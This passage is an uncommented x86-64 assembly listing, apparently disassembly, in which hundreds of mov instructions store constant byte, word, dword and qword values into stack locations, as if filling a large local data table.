mov eax, 0x772a
mov word [rsp + 0x122c], ax
movabs rax, 0x259adf7b341b1343
mov qword [rsp + 0x9280], rax
movabs rax, 0x2d9247fa5027f77b
mov qword [rsp + 0x9288], rax
mov eax, 0xe11
mov word [rsp + 0x1230], ax
mov byte [rsp + 0xe0], 0x51
mov eax, 0x5de0
mov word [rsp + 0x1234], ax
mov dword [rsp + 0x4f7c], 0x96736be9
movabs rax, 0x5850701a65e71531
mov qword [rsp + 0x9290], rax
movabs rax, 0x1a76f6ec956556c5
mov qword [rsp + 0x9298], rax
movabs rax, 0x3419495cc50448e6
mov qword [rsp + 0x92a0], rax
movabs rax, 0x300c6773a0b350ad
mov qword [rsp + 0x92a8], rax
mov dword [rsp + 0x4f80], 0x3547e194
mov dword [rsp + 0x4f84], 0xd5d64362
mov byte [rsp + 0xe1], 0x74
movabs rax, 0x72af062e0ded9fc0
mov qword [rsp + 0x92b0], rax
mov eax, 0x579
mov word [rsp + 0x1238], ax
mov byte [rsp + 0xe2], 0x18
mov eax, 0x6068
mov word [rsp + 0x123c], ax
mov dword [rsp + 0x4f88], 0x885be7ba
mov byte [rsp + 0xe3], 0x23
mov dword [rsp + 0x4f8c], 0x37911aca
movabs rax, 0x303e8d9fb525892b
mov qword [rsp + 0x92b8], rax
mov byte [rsp + 0xe4], 6
mov byte [rsp + 0xe5], 0x37
mov byte [rsp + 0xe6], 0x36
mov dword [rsp + 0x4f90], 0xfe7d1c5b
mov eax, 0x57
mov word [rsp + 0x1240], ax
movabs rax, 0x770e292d0a6ece59
mov qword [rsp + 0x92c0], rax
mov byte [rsp + 0xe7], 0x69
mov byte [rsp + 0xe8], 0x6e
mov dword [rsp + 0x4f94], 0x1e7b1e5c
mov dword [rsp + 0x4f98], 0x3a50db27
mov dword [rsp + 0x4f9c], 0xd807a44
movabs rax, 0x2152f2f4b6aa552e
mov qword [rsp + 0x92c8], rax
mov eax, 0x4d1
mov word [rsp + 0x1244], ax
mov dword [rsp + 0x4fa0], 0x17e37ad9
mov byte [rsp + 0xe9], 0xf7
movabs rax, 0xcb5e4cd8ec8ebae
mov qword [rsp + 0x92d0], rax
mov eax, 0x85
mov word [rsp + 0x1248], ax
mov eax, 0x5c75
mov word [rsp + 0x124c], ax
movabs rax, 0x5bd8bf29f388cd72
mov qword [rsp + 0x92d8], rax
mov byte [rsp + 0xea], 0x58
mov byte [rsp + 0xeb], 0xa9
mov eax, 0xaf0
mov word [rsp + 0x1250], ax
movabs rax, 0x72b3cb9f878c9b5f
mov qword [rsp + 0x92e0], rax
movabs rax, 0x6192d6bdb99da84f
mov qword [rsp + 0x92e8], rax
mov byte [rsp + 0xec], 0xad
movabs rax, 0x6497fb97de343a58
mov qword [rsp + 0x92f0], rax
mov eax, 0xcb4
mov word [rsp + 0x1254], ax
mov eax, 0x4d06
mov word [rsp + 0x1258], ax
movabs rax, 0xe94ec6695ceec928
mov qword [rsp + 0x92f8], rax
movabs rax, 0x28f0aa5320eadd6d
mov qword [rsp + 0x9300], rax
mov eax, 0xd8d
mov word [rsp + 0x125c], ax
movabs rax, 0x9139250a6b0a7654
mov qword [rsp + 0x9308], rax
mov dword [rsp + 0x4fa4], 0x1c966791
mov dword [rsp + 0x4fa8], 0x449b998c
mov eax, 0x6d5e
mov word [rsp + 0x1260], ax
movabs rax, 0x28bfb50a0b34c371
mov qword [rsp + 0x9310], rax
mov dword [rsp + 0x4fac], 0x3b99ea28
mov eax, 0x43a
mov word [rsp + 0x1264], ax
mov dword [rsp + 0x4fb0], 0x7f17b8ba
movabs rax, 0x86daaf4d55d829ed
mov qword [rsp + 0x9318], rax
mov dword [rsp + 0x4fb4], 0x5d9b1f30
movabs rax, 0x64805f3996119dee
mov qword [rsp + 0x9320], rax
mov eax, 0x4c2
mov word [rsp + 0x1268], ax
mov byte [rsp + 0xed], 0x30
mov dword [rsp + 0x4fb8], 0x96eb3eb1
movabs rax, 0xe4f603ecf2d9cd1
mov qword [rsp + 0x9328], rax
mov eax, 0x4292
mov word [rsp + 0x126c], ax
mov dword [rsp + 0x4fbc], 0x5c065268
mov dword [rsp + 0x4fc0], 0x172bc05a
mov dword [rsp + 0x4fc4], 0x6a7cb9da
mov byte [rsp + 0xee], 0x35
movabs rax, 0x73f2a4807ab233a6
mov qword [rsp + 0x9330], rax
movabs rax, 0x46423e554b6bb7a3
mov qword [rsp + 0x9338], rax
mov eax, 0x523
mov word [rsp + 0x1270], ax
mov byte [rsp + 0xef], 0xe8
mov dword [rsp + 0x4fc8], 0x21b455d0
movabs rax, 0x3bc82c47514644cd
mov qword [rsp + 0x9340], rax
movabs rax, 0x4c3a52c72b16e6b8
mov qword [rsp + 0x9348], rax
mov byte [rsp + 0xf0], 0xb8
movabs rax, 0xa9aed9d8293a9ae2
mov qword [rsp + 0x9350], rax
mov byte [rsp + 0xf1], 0x3c
mov byte [rsp + 0xf2], 0x1d
mov byte [rsp + 0xf3], 0x2a
mov dword [rsp + 0x4fcc], 0x5b329086
movabs rax, 0x8655c96933d634fb
mov qword [rsp + 0x9358], rax
movabs rax, 0x18ae28d06c2ec37a
mov qword [rsp + 0x9360], rax
movabs rax, 0xe4e3b74970f7a797
mov qword [rsp + 0x9368], rax
movabs rax, 0x4432b7cb281a0b1c
mov qword [rsp + 0x9370], rax
mov eax, 0x7b11
mov word [rsp + 0x1274], ax
movabs rax, 0x17c5e4d6b4a99803
mov qword [rsp + 0x9378], rax
mov eax, 0xc43
mov word [rsp + 0x1278], ax
mov dword [rsp + 0x4fd0], 0x3201e051
mov eax, 0x1cb1
mov word [rsp + 0x127c], ax
mov byte [rsp + 0xf4], 0xb7
mov eax, 0x4ba
mov word [rsp + 0x1280], ax
mov dword [rsp + 0x4fd4], 0x1adbf6b0
mov eax, 0x1323
mov word [rsp + 0x1284], ax
mov byte [rsp + 0xf5], 0x75
mov eax, 0xbd5
mov word [rsp + 0x1288], ax
mov byte [rsp + 0xf6], 0x47
mov eax, 0x61b
mov word [rsp + 0x128c], ax
mov dword [rsp + 0x4fd8], 0x2b2ad296
mov eax, 0x4d6
mov word [rsp + 0x1290], ax
mov eax, 0xe89
mov word [rsp + 0x1294], ax
mov dword [rsp + 0x4fdc], 0xa0fefd7
mov byte [rsp + 0xf7], 0xd5
mov dword [rsp + 0x4fe0], 0x6e913355
mov dword [rsp + 0x4fe4], 0x7f41c2bf
mov dword [rsp + 0x4fe8], 0x7699dd93
mov dword [rsp + 0x4fec], 0x45436096
mov eax, 0x5476
mov word [rsp + 0x1298], ax
mov dword [rsp + 0x4ff0], 0x2194f2d5
mov byte [rsp + 0xf8], 0x75
movabs rax, 0xa2ff0418ca4816e3
mov qword [rsp + 0x9380], rax
movabs rax, 0x6fc60c1b9cd3d8d0
mov qword [rsp + 0x9388], rax
mov eax, 0xc2a
mov word [rsp + 0x129c], ax
mov eax, 0x4b0
mov word [rsp + 0x12a0], ax
movabs rax, 0x416f0984dbdd05b0
mov qword [rsp + 0x9390], rax
mov eax, 0x537f
mov word [rsp + 0x12a4], ax
movabs rax, 0x813bf68c0d039fb2
mov qword [rsp + 0x9398], rax
mov byte [rsp + 0xf9], 0xd3
mov dword [rsp + 0x4ff4], 0x7f4391
mov byte [rsp + 0xfa], 0x5a
mov eax, 0x327b
mov word [rsp + 0x12a8], ax
mov byte [rsp + 0xfb], 0x60
mov dword [rsp + 0x4ff8], 0x33bfce9d
mov eax, 0x4fb4
mov word [rsp + 0x12ac], ax
movabs rax, 0x1479a57f103dbcf2
mov qword [rsp + 0x93a0], rax
movabs rax, 0x415e39e939a51bb0
mov qword [rsp + 0x93a8], rax
mov byte [rsp + 0xfc], 0x7b
mov byte [rsp + 0xfd], 0x42
mov dword [rsp + 0x4ffc], 0xe4eacc55
mov byte [rsp + 0xfe], 0xef
mov byte [rsp + 0xff], 4
mov dword [rsp + 0x5000], 0xf227e302
mov byte [rsp + 0x100], 0x4a
mov eax, 0x355
mov word [rsp + 0x12b0], ax
movabs rax, 0x3a8bda3e6cda3bb9
mov qword [rsp + 0x93b0], rax
mov dword [rsp + 0x5004], 0xfdb6dfa7
movabs rax, 0x5b8d50ddad20ae54
mov qword [rsp + 0x93b8], rax
mov byte [rsp + 0x101], 0x75
mov eax, 0x13f2
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x5008], 0x1697006
mov eax, 0x40aa
mov word [rsp + 0x12b8], ax
mov byte [rsp + 0x102], 0xeb
movabs rax, 0x712255bcb7da5715
mov qword [rsp + 0x93c0], rax
movabs rax, 0x474b273dd8598ee7
mov qword [rsp + 0x93c8], rax
mov dword [rsp + 0x500c], 0x9de42e66
movabs rax, 0xea82cc034026e0b0
mov qword [rsp + 0x93d0], rax
mov byte [rsp + 0x103], 0x55
movabs rax, 0x6735d65a64d5672b
mov qword [rsp + 0x93d8], rax
movabs rax, 0x526ebdbe7b4f469
mov qword [rsp + 0x93e0], rax
movabs rax, 0x6aa1ee65fe1c7b13
mov qword [rsp + 0x93e8], rax
mov eax, 0x19e0
mov word [rsp + 0x12bc], ax
mov eax, 0x2c80
mov word [rsp + 0x12c0], ax
mov byte [rsp + 0x104], 0x66
movabs rax, 0x7052d71b373047c1
mov qword [rsp + 0x93f0], rax
mov byte [rsp + 0x105], 0x7d
mov eax, 0xc7e
mov word [rsp + 0x12c4], ax
mov eax, 0xb03
mov word [rsp + 0x12c8], ax
movabs rax, 0x885b0ac72731b169
mov qword [rsp + 0x93f8], rax
mov eax, 0x29d5
mov word [rsp + 0x12cc], ax
mov eax, 0x4da1
mov word [rsp + 0x12d0], ax
mov byte [rsp + 0x106], 0x31
mov dword [rsp + 0x5010], 0x73e0e6d7
mov eax, 0xfdb
mov word [rsp + 0x12d4], ax
movabs rax, 0xa723d899a36a96a2
mov qword [rsp + 0x9400], rax
mov byte [rsp + 0x107], 0xdf
mov byte [rsp + 0x108], 0x3c
mov byte [rsp + 0x109], 0x6b
mov byte [rsp + 0x10a], 0xae
mov dword [rsp + 0x5014], 0x7d16b4e4
mov byte [rsp + 0x10b], 0xae
mov eax, 0x3a8b
mov word [rsp + 0x12d8], ax
mov eax, 0x4329
mov word [rsp + 0x12dc], ax
mov eax, 0x788
mov word [rsp + 0x12e0], ax
movabs rax, 0xcc6257873e55d91b
mov qword [rsp + 0x9408], rax
mov dword [rsp + 0x5018], 0x920ff13d
mov eax, 0x4490
mov word [rsp + 0x12e4], ax
mov byte [rsp + 0x10c], 0xfc
mov byte [rsp + 0x10d], 0x6a
mov eax, 0x67a
mov word [rsp + 0x12e8], ax
mov dword [rsp + 0x501c], 0xa9a7d4f7
mov dword [rsp + 0x5020], 0xdff8ffb6
mov dword [rsp + 0x5024], 0x4d64c64c
mov eax, 0x560b
mov word [rsp + 0x12ec], ax
movabs rax, 0x5869cee805905bd
mov qword [rsp + 0x9410], rax
mov eax, 0x6615
mov word [rsp + 0x12f0], ax
movabs rax, 0x541de5f8a4e5aa3c
mov qword [rsp + 0x9418], rax
mov eax, 0x7532
mov word [rsp + 0x12f4], ax
mov byte [rsp + 0x10e], 0xe5
movabs rax, 0x39842d69d32b5cb6
mov qword [rsp + 0x9420], rax
movabs rax, 0xa5482676e13bcb57
mov qword [rsp + 0x9428], rax
mov byte [rsp + 0x10f], 5
mov byte [rsp + 0x110], 0x83
movabs rax, 0x84d0c3c7eca0dcba
mov qword [rsp + 0x9430], rax
mov dword [rsp + 0x5028], 0xed7c5d84
movabs rax, 0x7c15383e32c6b2c7
mov qword [rsp + 0x9438], rax
movabs rax, 0x6e378bbb2483bdc
mov qword [rsp + 0x9440], rax
movabs rax, 0x16de40cec5750825
mov qword [rsp + 0x9448], rax
mov eax, 0x6529
mov word [rsp + 0x12f8], ax
mov dword [rsp + 0x502c], 0x79816b05
mov eax, 0x6856
mov word [rsp + 0x12fc], ax
mov dword [rsp + 0x5030], 0xe7d55283
mov dword [rsp + 0x5034], 0xb7cda502
mov dword [rsp + 0x5038], 0x7a25d4ec
movabs rax, 0x4e434ec34835f7ba
mov qword [rsp + 0x9450], rax
mov eax, 0x745
mov word [rsp + 0x1300], ax
mov eax, 0x6f2
mov word [rsp + 0x1304], ax
mov dword [rsp + 0x503c], 0x472c1e29
mov byte [rsp + 0x111], 0xa3
mov eax, 0xa88
mov word [rsp + 0x1308], ax
mov byte [rsp + 0x112], 0x2c
mov byte [rsp + 0x113], 0x33
movabs rax, 0x2fe96432eafb781f
mov qword [rsp + 0x9458], rax
mov dword [rsp + 0x5040], 0xe85f4541
mov dword [rsp + 0x5044], 0x4f254264
mov byte [rsp + 0x114], 0x88
mov dword [rsp + 0x5048], 0xf11bd671
mov byte [rsp + 0x115], 0x3f
movabs rax, 0x31ec62d117594084
mov qword [rsp + 0x9460], rax
movabs rax, 0x33351f4f34f95644
mov qword [rsp + 0x9468], rax
movabs rax, 0x6e4d5a35a9b3d0c
mov qword [rsp + 0x9470], rax
mov byte [rsp + 0x116], 0x5f
mov eax, 0xfea
mov word [rsp + 0x130c], ax
mov eax, 0x86e
mov word [rsp + 0x1310], ax
mov dword [rsp + 0x504c], 0x7b9f0384
mov eax, 0x9b
mov word [rsp + 0x1314], ax
mov byte [rsp + 0x117], 0xe2
mov dword [rsp + 0x5050], 0x7e9fdaf8
mov eax, 0x72ba
mov word [rsp + 0x1318], ax
mov eax, 0x3991
mov word [rsp + 0x131c], ax
movabs rax, 0xc65531c1af2646fe
mov qword [rsp + 0x9478], rax
mov eax, 0x63a
mov word [rsp + 0x1320], ax
mov byte [rsp + 0x118], 0x87
movabs rax, 0x5320a6f9fe8aad16
mov qword [rsp + 0x9480], rax
mov eax, 0x2976
mov word [rsp + 0x1324], ax
mov eax, 0x8f0
mov word [rsp + 0x1328], ax
mov byte [rsp + 0x119], 0x59
movabs rax, 0x83bfe8f4fc3c9fed
mov qword [rsp + 0x9488], rax
movabs rax, 0xdcd1ecd9bc4bcc9f
mov qword [rsp + 0x9490], rax
movabs rax, 0x2efbb634d7102bad
mov qword [rsp + 0x9498], rax
mov byte [rsp + 0x11a], 0x22
mov dword [rsp + 0x5054], 0x38642cea
mov dword [rsp + 0x5058], 0x3350f8f1
mov eax, 0x75b4
mov word [rsp + 0x132c], ax
mov byte [rsp + 0x11b], 0x62
mov byte [rsp + 0x11c], 0x6d
mov dword [rsp + 0x505c], 0x8df11ce1
mov eax, 0x716b
mov word [rsp + 0x1330], ax
movabs rax, 0x29ccb93753b03796
mov qword [rsp + 0x94a0], rax
movabs rax, 0x40b84a20af75ff11
mov qword [rsp + 0x94a8], rax
mov dword [rsp + 0x5060], 0x4d95dc06
mov eax, 0x2e3
mov word [rsp + 0x1334], ax
mov eax, 0xa31
mov word [rsp + 0x1338], ax
mov eax, 0x4e16
mov word [rsp + 0x133c], ax
movabs rax, 0x74c7b536cb021846
mov qword [rsp + 0x94b0], rax
movabs rax, 0x4a22d2a459c916f
mov qword [rsp + 0x94b8], rax
mov eax, 0x7bb
mov word [rsp + 0x1340], ax
mov byte [rsp + 0x11d], 0x26
mov eax, 0x1be6
mov word [rsp + 0x1344], ax
mov byte [rsp + 0x11e], 0xea
mov dword [rsp + 0x5064], 0x443500ae
mov eax, 0x5232
mov word [rsp + 0x1348], ax
mov byte [rsp + 0x11f], 0x54
mov byte [rsp + 0x120], 0x24
mov byte [rsp + 0x121], 0xe9
mov dword [rsp + 0x5068], 0x714793a3
mov eax, 0xb3f
mov word [rsp + 0x134c], ax
mov byte [rsp + 0x122], 0x14
mov dword [rsp + 0x506c], 0x10781eb8
mov byte [rsp + 0x123], 0x41
movabs rax, 0x58c55af7b87e4c60
mov qword [rsp + 0x94c0], rax
mov dword [rsp + 0x5070], 0xe826fe09
mov byte [rsp + 0x124], 0xa8
mov byte [rsp + 0x125], 0x53
mov byte [rsp + 0x126], 0xb7
movabs rax, 0x35f35bf53eed8e70
mov qword [rsp + 0x94c8], rax
movabs rax, 0xdedeefb730344dad
mov qword [rsp + 0x94d0], rax
mov dword [rsp + 0x5074], 0x5ab6aa13
movabs rax, 0x2c96dcfe56c07bcb
mov qword [rsp + 0x94d8], rax
mov dword [rsp + 0x5078], 0x31900136
mov eax, 0x50d
mov word [rsp + 0x1350], ax
mov dword [rsp + 0x507c], 0x458b2abb
mov byte [rsp + 0x127], 0x65
mov eax, 0x398
mov word [rsp + 0x1354], ax
mov eax, 0x38f1
mov word [rsp + 0x1358], ax
mov dword [rsp + 0x5080], 0x1eb391ed
movabs rax, 0x3863ff666f91d5ac
mov qword [rsp + 0x94e0], rax
mov eax, 0x415
mov word [rsp + 0x135c], ax
mov byte [rsp + 0x128], 0x3a
mov eax, 0x2882
mov word [rsp + 0x1360], ax
mov eax, 0x4e2a
mov word [rsp + 0x1364], ax
movabs rax, 0xd10d7da88216a80
mov qword [rsp + 0x94e8], rax
mov byte [rsp + 0x129], 0x5b
movabs rax, 0x3ee497f57bf504d6
mov qword [rsp + 0x94f0], rax
mov eax, 0x99a
mov word [rsp + 0x1368], ax
movabs rax, 0x49ab59b3d3630f0d
mov qword [rsp + 0x94f8], rax
mov eax, 0x3ae7
mov word [rsp + 0x136c], ax
movabs rax, 0x86326a70a5f8ebca
mov qword [rsp + 0x9500], rax
mov dword [rsp + 0x5084], 0xc0e44c2a
mov byte [rsp + 0x12a], 0x20
movabs rax, 0x26875ddb2a45ddf1
mov qword [rsp + 0x9508], rax
mov eax, 0xfd
mov word [rsp + 0x1370], ax
mov byte [rsp + 0x12b], 0x48
mov dword [rsp + 0x5088], 0xff157fa9
movabs rax, 0x319a2388aea39726
mov qword [rsp + 0x9510], rax
movabs rax, 0x3756c208d5cf4686
mov qword [rsp + 0x9518], rax
mov eax, 0x3624
mov word [rsp + 0x1374], ax
mov byte [rsp + 0x12c], 0x47
mov byte [rsp + 0x12d], 0x29
mov dword [rsp + 0x508c], 0x91f8fcc0
mov dword [rsp + 0x5090], 0x6c7c4781
mov byte [rsp + 0x12e], 0xe4
mov dword [rsp + 0x5094], 0x39a7b7e6
mov byte [rsp + 0x12f], 0xce
movabs rax, 0xe38c65ab0561caa9
mov qword [rsp + 0x9520], rax
mov eax, 0xfd0
mov word [rsp + 0x1378], ax
mov eax, 0x3730
mov word [rsp + 0x137c], ax
mov byte [rsp + 0x130], 0xbf
movabs rax, 0xcc876edcb0b7887
mov qword [rsp + 0x9528], rax
movabs rax, 0x714f135ec0859f4c
mov qword [rsp + 0x9530], rax
mov byte [rsp + 0x131], 0xa4
mov eax, 0x1fa
mov word [rsp + 0x1380], ax
mov eax, 0x4714
mov word [rsp + 0x1384], ax
mov byte [rsp + 0x132], 0xde
movabs rax, 0x8ec99ec24780a355
mov qword [rsp + 0x9538], rax
mov byte [rsp + 0x133], 0x12
mov dword [rsp + 0x5098], 0x148aec08
mov byte [rsp + 0x134], 0x2c
movabs rax, 0x659fb07879bd75ce
mov qword [rsp + 0x9540], rax
mov dword [rsp + 0x509c], 0x5701b4e1
mov eax, 0xa56
mov word [rsp + 0x1388], ax
mov eax, 0x3ddb
mov word [rsp + 0x138c], ax
mov eax, 0x1f9
mov word [rsp + 0x1390], ax
movabs rax, 0x562810dfa169fe2d
mov qword [rsp + 0x9548], rax
mov byte [rsp + 0x135], 0xb1
mov eax, 0x59c
mov word [rsp + 0x1394], ax
movabs rax, 0x5164f3fe0fe4f49f
mov qword [rsp + 0x9550], rax
mov eax, 0x4e3a
mov word [rsp + 0x1398], ax
movabs rax, 0xee48a1eaf84c509
mov qword [rsp + 0x9558], rax
mov dword [rsp + 0x50a0], 0x43f7aa0e
mov byte [rsp + 0x136], 0x74
movabs rax, 0x226ae63ef596fb9
mov qword [rsp + 0x9560], rax
mov eax, 0x4742
mov word [rsp + 0x139c], ax
mov dword [rsp + 0x50a4], 0xb0885c95
mov dword [rsp + 0x50a8], 0x2f7758b
mov eax, 0x272
mov word [rsp + 0x13a0], ax
mov byte [rsp + 0x137], 0x54
movabs rax, 0x3282243c88136187
mov qword [rsp + 0x9568], rax
movabs rax, 0x661eee50091145c6
mov qword [rsp + 0x9570], rax
mov byte [rsp + 0x138], 0x7a
mov eax, 0x3b7
mov word [rsp + 0x13a4], ax
mov eax, 0x797
mov word [rsp + 0x13a8], ax
mov dword [rsp + 0x50ac], 0x11391ecf
mov byte [rsp + 0x139], 0x48
movabs rax, 0x76b613d6ba4d9b74
mov qword [rsp + 0x9578], rax
mov dword [rsp + 0x50b0], 0xffd0e0b
mov eax, 0x35a0
mov word [rsp + 0x13ac], ax
mov eax, 0x248e
mov word [rsp + 0x13b0], ax
mov dword [rsp + 0x50b4], 0x68ecf1c9
movabs rax, 0xa92cd49448235d20
mov qword [rsp + 0x9580], rax
mov dword [rsp + 0x50b8], 0x92bff893
mov dword [rsp + 0x50bc], 0x14516847
mov byte [rsp + 0x13a], 0x2a
mov eax, 0x283b
mov word [rsp + 0x13b4], ax
mov byte [rsp + 0x13b], 0x62
mov dword [rsp + 0x50c0], 0xafe93c04
mov byte [rsp + 0x13c], 0x3a
mov dword [rsp + 0x50c4], 0x46642a68
mov eax, 0x5789
mov word [rsp + 0x13b8], ax
mov byte [rsp + 0x13d], 0x21
movabs rax, 0x1854e4b92f7ebcf0
mov qword [rsp + 0x9588], rax
mov byte [rsp + 0x13e], 0x49
mov eax, 0xe73
mov word [rsp + 0x13bc], ax
mov dword [rsp + 0x50c8], 0x9a54a27
mov byte [rsp + 0x13f], 0x4f
movabs rax, 0x5b3852cb19a0082d
mov qword [rsp + 0x9590], rax
mov eax, 0xf
mov word [rsp + 0x13c0], ax
mov eax, 0x4fbc
mov word [rsp + 0x13c4], ax
mov dword [rsp + 0x50cc], 0xca266b3
mov eax, 0xf16
mov word [rsp + 0x13c8], ax
movabs rax, 0x52f3cc634d9e69c2
mov qword [rsp + 0x9598], rax
mov eax, 0x834
mov word [rsp + 0x13cc], ax
mov byte [rsp + 0x140], 0x75
mov dword [rsp + 0x50d0], 0x6683f499
mov dword [rsp + 0x50d4], 0x1ab5b7ff
movabs rax, 0x553a530da25ab384
mov qword [rsp + 0x95a0], rax
mov byte [rsp + 0x141], 0x36
mov byte [rsp + 0x142], 0xb9
movabs rax, 0x884e30bdb06d8fab
mov qword [rsp + 0x95a8], rax
mov dword [rsp + 0x50d8], 0x13260d27
mov byte [rsp + 0x143], 0x44
mov eax, 0x238
mov word [rsp + 0x13d0], ax
mov byte [rsp + 0x144], 0x9a
mov dword [rsp + 0x50dc], 0x3d605714
mov byte [rsp + 0x145], 0x4d
mov dword [rsp + 0x50e0], 0x7ed2188e
mov byte [rsp + 0x146], 0x11
mov dword [rsp + 0x50e4], 0x2053bb04
mov dword [rsp + 0x50e8], 0x2aaed72b
mov eax, 0x5e0b
mov word [rsp + 0x13d4], ax
movabs rax, 0x63d8aa0b6baf3550
mov qword [rsp + 0x95b0], rax
movabs rax, 0x1fbd5cc8949e726f
mov qword [rsp + 0x95b8], rax
mov eax, 0x6b7f
mov word [rsp + 0x13d8], ax
mov dword [rsp + 0x50ec], 0xe2dd467c
movabs rax, 0x593dc31830aebbba
mov qword [rsp + 0x95c0], rax
mov dword [rsp + 0x50f0], 0x754473b8
mov eax, 0x1c23
mov word [rsp + 0x13dc], ax
mov eax, 0x857
mov word [rsp + 0x13e0], ax
mov byte [rsp + 0x147], 0xe0
mov eax, 0xba5
mov word [rsp + 0x13e4], ax
mov eax, 0x961
mov word [rsp + 0x13e8], ax
mov dword [rsp + 0x50f4], 0x58e26a3f
mov byte [rsp + 0x148], 0x44
mov byte [rsp + 0x149], 0x10
movabs rax, 0x7ee0d5ef1423ad53
mov qword [rsp + 0x95c8], rax
mov dword [rsp + 0x50f8], 0x9b9ffd91
movabs rax, 0x56ee67ef94d6f28e
mov qword [rsp + 0x95d0], rax
movabs rax, 0x29587b083d3bfc5e
mov qword [rsp + 0x95d8], rax
mov eax, 0x6d52
mov word [rsp + 0x13ec], ax
mov eax, 0xdec
mov word [rsp + 0x13f0], ax
movabs rax, 0x52e058ef69e46675
mov qword [rsp + 0x95e0], rax
mov dword [rsp + 0x50fc], 0x79c34a99
mov dword [rsp + 0x5100], 0x20451318
mov byte [rsp + 0x14a], 0x1e
movabs rax, 0x7167c5dac183a045
mov qword [rsp + 0x95e8], rax
mov dword [rsp + 0x5104], 0xdda69b06
mov byte [rsp + 0x14b], 4
movabs rax, 0x4080e38b6c875458
mov qword [rsp + 0x95f0], rax
mov byte [rsp + 0x14c], 0x32
mov byte [rsp + 0x14d], 0x37
movabs rax, 0x1b5676937590f794
mov qword [rsp + 0x95f8], rax
mov eax, 0x476d
mov word [rsp + 0x13f4], ax
mov eax, 0x60b6
mov word [rsp + 0x13f8], ax
mov dword [rsp + 0x5108], 0x218d093a
mov eax, 0x4570
mov word [rsp + 0x13fc], ax
movabs rax, 0xe634ee0003937051
mov qword [rsp + 0x9600], rax
mov dword [rsp + 0x510c], 0x96f15a4
mov dword [rsp + 0x5110], 0xea887717
mov byte [rsp + 0x14e], 0x96
mov dword [rsp + 0x5114], 0x65ca83cf
mov dword [rsp + 0x5118], 0xca3c341c
mov dword [rsp + 0x511c], 0x5d038876
movabs rax, 0x1faed75cd40c1f80
mov qword [rsp + 0x9608], rax
mov dword [rsp + 0x5120], 0x7abe1f1c
mov byte [rsp + 0x14f], 6
mov byte [rsp + 0x150], 0x53
mov byte [rsp + 0x151], 0x15
mov dword [rsp + 0x5124], 0x2151daec
movabs rax, 0x32e2ae7234b0e097
mov qword [rsp + 0x9610], rax
mov byte [rsp + 0x152], 0x7d
mov dword [rsp + 0x5128], 0xe6c1a0c1
mov eax, 0x5169
mov word [rsp + 0x1400], ax
mov dword [rsp + 0x512c], 0xd24b0fee
mov dword [rsp + 0x5130], 0x63a49ca5
mov dword [rsp + 0x5134], 0x51f45267
mov dword [rsp + 0x5138], 0x1a986868
mov dword [rsp + 0x513c], 0x11e441db
mov eax, 0x981
mov word [rsp + 0x1404], ax
mov dword [rsp + 0x5140], 0x1de55888
mov byte [rsp + 0x153], 0x6a
mov byte [rsp + 0x154], 0x14
mov byte [rsp + 0x155], 0xee
movabs rax, 0x7148751e442732
mov qword [rsp + 0x9618], rax
mov dword [rsp + 0x5144], 0x1a5896cc
mov dword [rsp + 0x5148], 0xa132061c
movabs rax, 0x7fd44b0df5e08d21
mov qword [rsp + 0x9620], rax
mov byte [rsp + 0x156], 0x3a
mov byte [rsp + 0x157], 0x3c
mov eax, 0x37f
mov word [rsp + 0x1408], ax
mov eax, 0x3169
mov word [rsp + 0x140c], ax
mov dword [rsp + 0x514c], 0x6bfdaf7c
mov eax, 0x6c18
mov word [rsp + 0x1410], ax
mov dword [rsp + 0x5150], 0x31f4aec7
mov byte [rsp + 0x158], 0xb3
mov dword [rsp + 0x5154], 0x43739ee1
movabs rax, 0xc2d1caeddc2c275
mov qword [rsp + 0x9628], rax
mov byte [rsp + 0x159], 0x19
mov dword [rsp + 0x5158], 0x429a7d5c
movabs rax, 0xc7f26391811d4778
mov qword [rsp + 0x9630], rax
movabs rax, 0xcacfc72d38097979
mov qword [rsp + 0x9638], rax
mov dword [rsp + 0x515c], 0x221ba503
mov byte [rsp + 0x15a], 0x3e
movabs rax, 0x7d0f6cd662fe582c
mov qword [rsp + 0x9640], rax
mov dword [rsp + 0x5160], 0xb7f87397
mov byte [rsp + 0x15b], 0x4c
mov dword [rsp + 0x5164], 0xaf994ecc
mov byte [rsp + 0x15c], 0xa5
mov dword [rsp + 0x5168], 0x4515e462
movabs rax, 0x67d03ea306afcd86
mov qword [rsp + 0x9648], rax
mov eax, 0xe96
mov word [rsp + 0x1414], ax
mov byte [rsp + 0x15d], 0x33
mov dword [rsp + 0x516c], 0x6499b02d
movabs rax, 0x234b41688d747fc6
mov qword [rsp + 0x9650], rax
mov dword [rsp + 0x5170], 0x3def5973
mov dword [rsp + 0x5174], 0xd29cc388
mov byte [rsp + 0x15e], 0x71
mov byte [rsp + 0x15f], 0x4e
mov dword [rsp + 0x5178], 0xa59122f9
mov eax, 0x38f7
mov word [rsp + 0x1418], ax
mov eax, 0x78c
mov word [rsp + 0x141c], ax
movabs rax, 0x3884d712ccb352b
mov qword [rsp + 0x9658], rax
mov dword [rsp + 0x517c], 0x668b03f
movabs rax, 0x6191a71054817620
mov qword [rsp + 0x9660], rax
mov eax, 0xeb2
mov word [rsp + 0x1420], ax
mov dword [rsp + 0x5180], 0x7e6afc92
movabs rax, 0xd8cab2a486d479f8
mov qword [rsp + 0x9668], rax
mov dword [rsp + 0x5184], 0x98e95143
mov dword [rsp + 0x5188], 0x50a48aef
mov eax, 0xacb
mov word [rsp + 0x1424], ax
mov eax, 0x1986
mov word [rsp + 0x1428], ax
mov eax, 0x271
mov word [rsp + 0x142c], ax
mov byte [rsp + 0x160], 0x64
mov byte [rsp + 0x161], 0x3b
mov byte [rsp + 0x162], 0x78
mov dword [rsp + 0x518c], 0x5c4a4069
mov eax, 0x10cb
mov word [rsp + 0x1430], ax
mov eax, 0x61d8
mov word [rsp + 0x1434], ax
movabs rax, 0x45ab2f26367762d6
mov qword [rsp + 0x9670], rax
mov byte [rsp + 0x163], 0x66
movabs rax, 0x39a39782b8fe68a4
mov qword [rsp + 0x9678], rax
movabs rax, 0x24009c2d77adf09d
mov qword [rsp + 0x9680], rax
mov byte [rsp + 0x164], 0x26
mov dword [rsp + 0x5190], 0x5585aa67
mov eax, 0xa4a
mov word [rsp + 0x1438], ax
mov eax, 0x3fc
mov word [rsp + 0x143c], ax
movabs rax, 0xae0c5a04232364b8
mov qword [rsp + 0x9688], rax
mov eax, 0x6807
mov word [rsp + 0x1440], ax
mov dword [rsp + 0x5194], 0xb4646856
movabs rax, 0x6da2bfaa972ebe9b
mov qword [rsp + 0x9690], rax
movabs rax, 0x8866c036ab25e2e1
mov qword [rsp + 0x9698], rax
